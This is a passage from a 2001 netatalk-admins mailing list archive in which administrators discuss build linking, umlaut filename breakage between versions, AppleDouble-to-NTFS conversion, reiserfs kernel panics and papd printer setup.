+       $(LD) -shared $(LDSHAREDFLAGS) -o $@ $*.o $(LIBS)
 
 #
 # create symbolic links:


what compiler has trouble to link the files? You should always use gcc
instead of ld. It may work on i386, but it doesnt work on other archs.


Gruss Olaf

-- 
 $ man clone

BUGS
       Main feature not yet implemented...

From netatalk.administrators-errors@umich.edu  Mon Jun 11 04:35:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA14309
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 11 Jun 2001 04:35:00 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA05656
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 11 Jun 2001 04:34:50 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA05650
	for netatalk.administrators-members@umich.edu; Mon, 11 Jun 2001 04:34:50 -0400 (EDT)
Received: from mailout05.sul.t-online.de (mailout05.sul.t-online.com [194.25.134.82])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA05630
	for <netatalk-admins@umich.edu>; Mon, 11 Jun 2001 04:34:49 -0400 (EDT)
Received: from fwd02.sul.t-online.de 
	by mailout05.sul.t-online.de with smtp 
	id 159NA2-0000bp-06; Mon, 11 Jun 2001 10:34:58 +0200
Received: from [192.168.0.33] (07031811601-0001@[217.2.103.189]) by fmrl02.sul.t-online.com
	with esmtp id 159NA0-0BY3M0C; Mon, 11 Jun 2001 10:34:56 +0200
Mime-Version: 1.0
Message-Id: <a05100303b74a30edaa74@[192.168.0.33]>
Date: Mon, 11 Jun 2001 10:35:48 +0200
To: netatalk-admins@umich.edu
From: =?iso-8859-1?Q?J=FCrgen?= Weltzer <weltzer@werbeagentur-weltzer.de>
Subject: 1.4pre39 - 1.5pre6 not compatible?
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
X-Sender: 07031811601-0001@t-dialin.net
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id EAA14309

Hi,
I've a old Linux-Box with 1.4.pre39 (with no maccode-translation) and 
a new one with 1.5.pre6 (with macode-translation).

Copying all shared files from the old to the new one I've the 
problem, that now all files or directories with German-Umlauts cause 
a "could not open because file or directory doesn't exist" when I 
want to open them on the new one.

How can I fix it simply? I talk about 10 GB and thousands of files...

(for the alias Problem: on 1.4.pre39 all aliases have worked fine - 
now with the 1.5pre6 they are not working - what was in this old 
version???) 

From netatalk.administrators-errors@umich.edu  Mon Jun 11 04:59:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA14798
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 11 Jun 2001 04:59:25 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA13238
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 11 Jun 2001 04:59:25 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA13224
	for netatalk.administrators-members@umich.edu; Mon, 11 Jun 2001 04:59:24 -0400 (EDT)
Received: from enitel.no (mail.enitel.no [194.19.2.12])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA13191
	for <netatalk-admins@umich.edu>; Mon, 11 Jun 2001 04:59:23 -0400 (EDT)
Received: from [195.204.110.209] (HELO [195.204.110.209])
  by enitel.no (CommuniGate Pro SMTP 3.4.6)
  with ESMTP id 27031106; Mon, 11 Jun 2001 10:59:04 +0200
Mime-Version: 1.0
X-Sender: griegjohn@mail.enitel.no
Message-Id: <a05010400b74a377c1ff1@[195.204.239.163]>
Date: Mon, 11 Jun 2001 10:55:38 +0200
To: grieg.john@enitel.no
From: John Grieg <grieg.john@enitel.no>
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id EAA14798

John Grieg A.s
har som fųlge av at enitel har kjųpt opp telia,
fått ny og lettere e-post adresse.


Den nye adressen er:
grieg.john@enitel.no

-- 
grieg.john@hl.telia.no

From netatalk.administrators-errors@umich.edu  Mon Jun 11 06:32:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA17183
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 11 Jun 2001 06:32:37 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA16113
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 11 Jun 2001 06:32:37 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA16107
	for netatalk.administrators-members@umich.edu; Mon, 11 Jun 2001 06:32:37 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id GAA16087
	for <netatalk-admins@umich.edu>; Mon, 11 Jun 2001 06:32:35 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id MAA15958;
	Mon, 11 Jun 2001 12:32:22 +0200
Message-ID: <3B249E36.4CB0F779@euc.de>
Date: Mon, 11 Jun 2001 12:32:20 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: =?iso-8859-1?Q?J=FCrgen?= Weltzer <weltzer@werbeagentur-weltzer.de>,
        "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: 1.4pre39 - 1.5pre6 not compatible?
References: <a05100303b74a30edaa74@[192.168.0.33]>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id GAA17183

hmm,

If the two netatalk servers are different machines, copy the files with
your mac from one server to the new one. that should work.

If you only have one server, you must first copy the files to a local
machine (a client) and then restart the server with the new version and
copy back the files.

the issue with the aliases has been discussed before.

shortly:
files and their resource forks are built on-the-fly when an unser logs
into the server.
This belongs also to aliases. If aliases are working or forgetting being
aliases depends on the size and space of your hd (inodes et. al.). 

Jürgen Weltzer wrote:
> 
> Hi,
> I've a old Linux-Box with 1.4.pre39 (with no maccode-translation) and
> a new one with 1.5.pre6 (with macode-translation).
> 
> Copying all shared files from the old to the new one I've the
> problem, that now all files or directories with German-Umlauts cause
> a "could not open because file or directory doesn't exist" when I
> want to open them on the new one.
> 
> How can I fix it simply? I talk about 10 GB and thousands of files...
> 
> (for the alias Problem: on 1.4.pre39 all aliases have worked fine -
> now with the 1.5pre6 they are not working - what was in this old
> version???)

-- 
--schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------
EUC sponsort Clean up Cologne - eine Iniative der IHK Köln,
der Abfallwirtschaftsbetriebe Köln (AWB) und dem
Grünflächenamt der Stadt Köln. http://www.clean-up-cologne.de

From netatalk.administrators-errors@umich.edu  Mon Jun 11 06:49:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA17532
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 11 Jun 2001 06:49:18 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA23097
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 11 Jun 2001 06:49:18 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA23091
	for netatalk.administrators-members@umich.edu; Mon, 11 Jun 2001 06:49:17 -0400 (EDT)
Received: from vampire.lavielle.com (vampire.lavielle.com [194.64.21.10])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id GAA23067
	for <netatalk-admins@umich.edu>; Mon, 11 Jun 2001 06:49:16 -0400 (EDT)
Received: from mail.bauer.com ([194.233.182.111])
	by vampire.lavielle.com (8.9.3/8.9.3) with ESMTP id MAA20991
	for <netatalk-admins@umich.edu>; Mon, 11 Jun 2001 12:49:14 +0200 (MET DST)
Received: from hbv.de (hjebsen.bauer.com [172.28.28.42])
	by mail.bauer.com (Postfix) with ESMTP id E629447E
	for <netatalk-admins@umich.edu>; Mon, 11 Jun 2001 12:49:11 +0200 (MEST)
Sender: root@hbv.de
Message-ID: <3B24A227.E33217BE@hbv.de>
Date: Mon, 11 Jun 2001 12:49:11 +0200
From: Henning Jebsen <hjebsen@hbv.de>
X-Mailer: Mozilla 4.74 [de] (X11; U; Linux 2.2.16 i686)
X-Accept-Language: de, en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Compiling Netatalk on SUN ?
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi Folks,
is it possible to run Netatalk on SUN OS ? When I have a look onto
sourceforge, it runs on Linux and BSD. No chance to run it on Sun OS ?

Thanks for any hints !

--
mailto:	hjebsen@hbv.de  (Henning Jebsen)
org: 	Heinrich Bauer Verlag
phone:	+49-40-3019-5525

From netatalk.administrators-errors@umich.edu  Mon Jun 11 08:28:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA20882
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 11 Jun 2001 08:28:26 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA17834
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 11 Jun 2001 08:28:16 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA17816
	for netatalk.administrators-members@umich.edu; Mon, 11 Jun 2001 08:28:15 -0400 (EDT)
Received: from nernst.chem.gla.ac.uk (nernst.chem.gla.ac.uk [130.209.221.174])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA17665
	for <netatalk-admins@umich.edu>; Mon, 11 Jun 2001 08:28:09 -0400 (EDT)
Received: from london.chem.gla.ac.uk ([130.209.221.166] ident=jonp)
	by nernst.chem.gla.ac.uk with esmtp (Exim 2.02 #2)
	id 159Qnp-0003kY-00; Mon, 11 Jun 2001 13:28:17 +0100
Received: from localhost (jonp@localhost)
	by london.chem.gla.ac.uk (8.9.1b+Sun/8.9.1) with ESMTP id NAA16534;
	Mon, 11 Jun 2001 13:27:50 +0100 (BST)
X-Authentication-Warning: london.chem.gla.ac.uk: jonp owned process doing -bs
Date: Mon, 11 Jun 2001 13:27:50 +0100 (BST)
From: Jonathan Paisley <jonp@chem.gla.ac.uk>
To: "Andrew D. Myers" <andrewm@imagegroup.com>
cc: <netatalk-admins@umich.edu>
Subject: Re: Netatalk --> Win2K SfM?
In-Reply-To: <001e01c0ef87$c314af30$bcb996ce@edgemaster>
Message-ID: <Pine.SOL.4.33.0106111322310.16526-100000@london.chem.gla.ac.uk>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Thu, 7 Jun 2001, Andrew D. Myers wrote:

> Executive summary:
>
> Does anyone know of a handy tool/technique for taking the resource fork
> and attributes from an AppleDouble file and stitching 'em into the
> corresponding NTFS data streams under Win2K Services for Macintosh?

I saw some replies to this which talked about using samba alone. Clearly
this won't work because of the macintosh data.

To extract the mac info from the netatalk .appledouble files, you can link
with netatalk's libadouble library. Then there are functions to read/write
either fork and also extract mac flags and type/creator info.

As far as the streams on the W2K server go, I think they're something like
this:

	:Afp_AfpInfo
	:AfpResource

The AfpResource stream is simply the raw data from the resource fork. The
:Afp_AfpInfo is a small file (about 60 bytes IIRC) containing mac file
info. I haven't figured out the exact format of this file, but I should
imagine that it shouldn't be too hard to synthesize it.

You can read/write these streams using smbclient or smbfs.

The problems you mentioned with funny characters are trickier. SFM uses
reserved unicode code positions for representing illegal windows
characters that are used in macintosh file names (e.g. : and \, as well
as trailing spaces). In order to successfully transfer over these files,
you'll need to talk to the W2K server in unicode (or come up with some
other name mangling of your own in plain ASCII). I don't think samba
supports unicode directly at the moment.

Does this help any?

-- 
Jonathan Paisley
jonp@chem.gla.ac.uk


From netatalk.administrators-errors@umich.edu  Mon Jun 11 11:49:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA27538
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 11 Jun 2001 11:49:14 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA14357
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 11 Jun 2001 11:49:14 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA14334
	for netatalk.administrators-members@umich.edu; Mon, 11 Jun 2001 11:49:13 -0400 (EDT)
Received: from stalcup.net (208.227.160.45.quickclick.ctc.net [208.227.160.45])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA14301
	for <netatalk-admins@umich.edu>; Mon, 11 Jun 2001 11:49:12 -0400 (EDT)
Received: from stalcup.net (IDENT:nobody@stalcup.net [127.0.0.1])
	by stalcup.net (8.9.3/8.9.3) with SMTP id LAA13482
	for <netatalk-admins@umich.edu>; Mon, 11 Jun 2001 11:53:34 -0400
Received: from 192.168.0.11
        (SquirrelMail authenticated user bryan)
        by stalcup.net with HTTP;
        Mon, 11 Jun 2001 11:53:34 -0400 (EDT)
Message-ID: <4468.192.168.0.11.992274814.squirrel@stalcup.net>
Date: Mon, 11 Jun 2001 11:53:34 -0400 (EDT)
Subject: netatalk-1.5pre6-1rh7.src.rpm + redhat 7.1 + reiserfs
From: "bryan stalcup" <bryan@stalcup.net>
To: netatalk-admins@umich.edu
X-Mailer: SquirrelMail (version 1.0.6)
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Hi all,

trying to get a new server setup with a 500G raid. would really like to use a journalling file system (reiserfs is supported with redhat 7.1), but have run into some weirdness with netatalk sharing a reiserfs volume. for example, the most repeatable thing is that when i try to paste an icon from the mac onto a folder on the server volume, i get a kernel panic... i lose connection to the server and have to hardware reset the server.

i have all the updates to redhat installed, i installed the src rpm and did a rpm -bb on the spec file, then installed the new binary i386 rpm. please let me know if the problem is not reproducible.

this scares me, so i've gone back to ext2 and am kicking around with reiserfs on a test box to see what else i come up with. it would be great to get this working, i need to add about an additional terabyte to this server and i would hate to have to ever fsck the drives.

thanks!

bryan
-- 
bryan stalcup
bryan@stalcup.net


From netatalk.administrators-errors@umich.edu  Mon Jun 11 12:40:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA29194
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 11 Jun 2001 12:40:05 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA16465
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 11 Jun 2001 12:39:55 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA16453
	for netatalk.administrators-members@umich.edu; Mon, 11 Jun 2001 12:39:54 -0400 (EDT)
Received: from research.dfci.harvard.edu (research.dfci.harvard.edu [155.52.50.28])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA16432
	for <netatalk-admins@umich.edu>; Mon, 11 Jun 2001 12:39:53 -0400 (EDT)
Received: from [155.52.50.27] (account mht4 HELO research.dfci.harvard.edu)
  by research.dfci.harvard.edu (CommuniGate Pro SMTP 3.4.2)
  with ESMTP id 478391; Mon, 11 Jun 2001 12:40:22 -0400
Sender: mht4@research.dfci.harvard.edu
Message-ID: <3B24F3B2.480D0005@research.dfci.harvard.edu>
Date: Mon, 11 Jun 2001 12:37:06 -0400
From: Matthew Temple <mht@research.dfci.harvard.edu>
Reply-To: mht@research.dfci.harvard.edu
Organization: Dana Farber Cancer Institute
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.16-22 i686)
X-Accept-Language: en-US, en
MIME-Version: 1.0
To: bryan stalcup <bryan@stalcup.net>
CC: netatalk-admins@umich.edu
Subject: Re: netatalk-1.5pre6-1rh7.src.rpm + redhat 7.1 + reiserfs
References: <4468.192.168.0.11.992274814.squirrel@stalcup.net>
Content-Type: multipart/mixed;
 boundary="------------925FF62F8E8FE37D225EE030"

This is a multi-part message in MIME format.
--------------925FF62F8E8FE37D225EE030
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Bryan,

	Just a word about this.   Concensys, which sells the Raidzone servers
you might have seen advertised in Linux Journal, uses a Reiser FS on its
raid
servers.    We have four of them and they've functioned quite well.  
Note, though,
that right now they are running Red Hat 6.1 (6.2 scheduled, I
believe).   They've
updated the reiserfs a couple of times, but that was because of NFS
problems.

	So though I can't speak to your specific problem, I can tell you that
resiser FS with some flaver of RH Linux works perfectly well, and it
sure is a
please to have such a fast reboot.

	(We have 5 RaidZone servers, 2 nominal 400gb and 3 nominal 800 gb.
Problems with OSX abound.)

							mht

bryan stalcup wrote:
> 
> Hi all,
> 
> trying to get a new server setup with a 500G raid. would really like to use a journalling file system (reiserfs is supported with redhat 7.1), but have run into some weirdness with netatalk sharing a reiserfs volume. for example, the most repeatable thing is that when i try to paste an icon from the mac onto a folder on the server volume, i get a kernel panic... i lose connection to the server and have to hardware reset the server.
> 
> i have all the updates to redhat installed, i installed the src rpm and did a rpm -bb on the spec file, then installed the new binary i386 rpm. please let me know if the problem is not reproducible.
> 
> this scares me, so i've gone back to ext2 and am kicking around with reiserfs on a test box to see what else i come up with. it would be great to get this working, i need to add about an additional terabyte to this server and i would hate to have to ever fsck the drives.
> 
> thanks!
> 
> bryan
> --
> bryan stalcup
> bryan@stalcup.net

-- 
=============================================================
Matthew Temple                Tel:    617/632-2597
Director, Research Computing  Fax:    617/632-4012
Dana-Farber Cancer Institute  mht@research.dfci.harvard.edu
44 Binney Street,  Smith 345  http://research.dfci.harvard.edu
Boston, MA 02115              Choice is the Choice!
--------------925FF62F8E8FE37D225EE030
Content-Type: text/x-vcard; charset=us-ascii;
 name="mht.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for Matthew Temple
Content-Disposition: attachment;
 filename="mht.vcf"

begin:vcard 
n:Temple;Matthew
tel;cell:617/512-2216
tel;fax:617/632-4012
tel;work:617/632-2597
x-mozilla-html:FALSE
url:http://research.dfci.harvard.edu
org:Dana Farber Cancer Institute
adr:;;44 Binney Street,  Smith 345;Boston;MA;02115;USA
version:2.1
email;internet:mht@research.dfci.harvard.edu
title:Director,  Research Computing
x-mozilla-cpt:;1
fn:Matthew Temple
end:vcard

--------------925FF62F8E8FE37D225EE030--


From netatalk.administrators-errors@umich.edu  Mon Jun 11 12:55:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA29627
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 11 Jun 2001 12:55:47 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA05052
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 11 Jun 2001 12:55:37 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA05034
	for netatalk.administrators-members@umich.edu; Mon, 11 Jun 2001 12:55:36 -0400 (EDT)
Received: from rakete.joerdens.de ([62.104.116.221])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA04978
	for <netatalk-admins@umich.edu>; Mon, 11 Jun 2001 12:55:34 -0400 (EDT)
Received: (from frank@localhost)
	by rakete.joerdens.de (8.9.3/8.9.3) id SAA06568;
	Mon, 11 Jun 2001 18:55:38 +0200
Date: Mon, 11 Jun 2001 18:55:38 +0200
From: Frank Joerdens <frank@joerdens.de>
To: Matthew Temple <mht@research.dfci.harvard.edu>
Cc: bryan stalcup <bryan@stalcup.net>, netatalk-admins@umich.edu
Subject: Re: netatalk-1.5pre6-1rh7.src.rpm + redhat 7.1 + reiserfs
Message-ID: <20010611185538.A6353@rakete.joerdens.de>
References: <4468.192.168.0.11.992274814.squirrel@stalcup.net> <3B24F3B2.480D0005@research.dfci.harvard.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
User-Agent: Mutt/1.1.2i
In-Reply-To: <3B24F3B2.480D0005@research.dfci.harvard.edu>; from mht@research.dfci.harvard.edu on Mon, Jun 11, 2001 at 12:37:06PM -0400
X-Subliminal-Message: Use Linux! Use Linux!

Does Reiser support quotas now? Quotas are about the only reason I
haven't seriously considered switching from ext2 yet.

Cheers Frank

From netatalk.administrators-errors@umich.edu  Mon Jun 11 14:18:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA02306
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 11 Jun 2001 14:18:11 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA04214
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 11 Jun 2001 14:18:11 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA04203
	for netatalk.administrators-members@umich.edu; Mon, 11 Jun 2001 14:18:10 -0400 (EDT)
Received: from wolverine.emji.net (wolverine.emji.net [207.22.135.6])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA04171
	for <netatalk-admins@umich.edu>; Mon, 11 Jun 2001 14:18:08 -0400 (EDT)
Received: from wdhcp20.emji.net (wdhcp20.emji.net [207.100.38.214])
	by wolverine.emji.net (8.9.3/8.9.3) with ESMTP id OAA28748
	for <netatalk-admins@umich.edu>; Mon, 11 Jun 2001 14:18:03 -0400
Date: Mon, 11 Jun 2001 14:22:19 -0400
From: Andy Erickson <andy@emji.net>
To: netatalk-admins@umich.edu
Subject: group write permissions.
Message-ID: <1210739.3201258139@wdhcp20.emji.net>
In-Reply-To: <4468.192.168.0.11.992274814.squirrel@stalcup.net>
X-Mailer: Mulberry/2.0.6 (MacOS)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Hey yall,
I am trying to configure netatalk 1.4b2 to give all files that netatalk 
copies group write permissions on a slackware linux server kernel 2.2.18. 
Any ideas would be great.

Andy


From netatalk.administrators-errors@umich.edu  Mon Jun 11 15:54:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA06719
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 11 Jun 2001 15:54:08 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA09273
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 11 Jun 2001 15:53:58 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA09266
	for netatalk.administrators-members@umich.edu; Mon, 11 Jun 2001 15:53:57 -0400 (EDT)
Received: from sobolev.dsm.fordham.edu (sobolev.dsm.fordham.edu [150.108.64.7])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA09251
	for <netatalk-admins@umich.edu>; Mon, 11 Jun 2001 15:53:56 -0400 (EDT)
Received: (from agw@localhost)
	by sobolev.dsm.fordham.edu (8.11.2/8.11.2) id f5BJs6Z21657;
	Mon, 11 Jun 2001 15:54:06 -0400
Date: Mon, 11 Jun 2001 15:54:06 -0400
Message-Id: <200106111954.f5BJs6Z21657@sobolev.dsm.fordham.edu>
From: Art Werschulz <agw@dsm.fordham.edu>
To: netatalk-admins@umich.edu
Subject: printer problem

Hi.

We have netatalk-1.5pre2-6 running on an Intel RedHat Linux 7.1 box.

The only change in the defaults has been to install a papd.conf file
that lists the various printers.  The only non-comment lines in the
papd.conf file are as follows:

  812 Computer Lab:pr=ps812:pd=/etc/atalk/ppd/HP4000.ppd:
  817 Corridor:pr=ps817:pd=/etc/atalk/ppd/HP4000.ppd:

Appropriate PPD files have been downloaded, and stored in the
/etc/atalk/ppd directory.

After executing
  # /etc/rc.d/init.d/atalk start
I did a "ps" check to find that atalkd and afpd are running, but that
papd is not running.

Not surprisingly, our Macs can't find any of the printers when they
select LaserWriter 8 in the Chooser.

In addition, when a Mac user selects AppleShare in the Chooser, the
Linux box is not given as an option.  On the other hand, if the Mac
user selects "Server IP Address ..." and then types in the fully
qualified domain name version of the Linux box, then a login box
appears and the user can proceed in the expected fashion.

I then stopped atalkd (etc.) on the original host.  Next, I installed
it on a different RH7.1 box.  Same configuration files as before.

Now when a Mac user selects either AppleShare or LaserWriter 8 from
the Chooser, the right thing happens.  That is, the if AppleShare is
selected, then the RH host shows up, and one can proceed in the normal
fashion.  If one selects LaserWriter 8, then the expected printers
show up.

However ... when a Mac user tries to print something on one of these
printers, a PostScript error occurs.

(1) Any idea why things that didn't work so well on the first host
    worked OK on the second host?  AFAICT, the only difference is that
    the ps817 printer was directly connected to the first host,
    whereas it was a network printer for the second host.

(2) Any idea about the PostScript error?

Thanks.

-- 
Art Werschulz (8-{)}   "Metaphors be with you."  -- bumper sticker
GCS/M (GAT): d? -p+ c++ l u+(-) e--- m* s n+ h f g+ w+ t++ r- y? 
Net: agw@dsm.fordham.edu <a href="http://www.dsm.fordham.edu/~agw/">WWW</a>
Phone:   Fordham U. (212) 636-6325, Columbia U. (212) 939-7061

From netatalk.administrators-errors@umich.edu  Mon Jun 11 18:37:35 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA13781
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 11 Jun 2001 18:37:35 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA17736
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 11 Jun 2001 18:37:35 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA17725
	for netatalk.administrators-members@umich.edu; Mon, 11 Jun 2001 18:37:34 -0400 (EDT)
Received: from hotmail.com (law2-f142.hotmail.com [216.32.181.142])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA17713
	for <netatalk-admins@umich.edu>; Mon, 11 Jun 2001 18:37:33 -0400 (EDT)
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Mon, 11 Jun 2001 15:37:33 -0700
Received: from 209.182.168.217 by lw2fd.hotmail.msn.com with HTTP;	Mon, 11 Jun 2001 22:37:33 GMT
X-Originating-IP: [209.182.168.217]
From: "Tim Gross" <twg4461@hotmail.com>
To: netatalk-admins@umich.edu
Subject: subscribe
Date: Mon, 11 Jun 2001 22:37:33 
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <LAW2-F142iODNFYHpZP00018f91@hotmail.com>
